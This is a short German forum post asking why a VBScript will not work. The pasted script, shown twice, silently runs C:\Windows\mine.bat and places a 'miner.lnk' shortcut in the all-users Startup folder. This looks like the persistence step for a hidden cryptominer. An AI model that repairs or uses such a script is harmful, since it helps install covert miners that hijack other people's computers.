Ich möchte eine Verknüpfung erstellen, aber es funktorniert einfach nicht, die .bat öffnet sich zwar aber weiter geht es nicht, kann mir jemand helfen?
Set WshShell = WScript.CreateObject( "WScript.Shell" )
WshShell.Run "C:\Windows\mine.bat",0,True
Dim objShortcut
Set objShortcut = WshShell.CreateShortcut("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\miner.lnk")
objShortcut.TargetPath = "C:\Windows\scribts.vbs"
objShortcut.Description = "Miner"
objShortcut.WorkingDirectory = "C:\Windows\"
objShortcut.Save
Set WshShell = WScript.CreateObject( "WScript.Shell" )
WshShell.Run "C:\Windows\mine.bat",0,True
Dim objShortcut
Set objShortcut = WshShell.CreateShortcut("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\miner.lnk")
objShortcut.TargetPath = "C:\Windows\scribts.vbs"
objShortcut.Description = "Miner"
objShortcut.WorkingDirectory = "C:\Windows\"
objShortcut.Save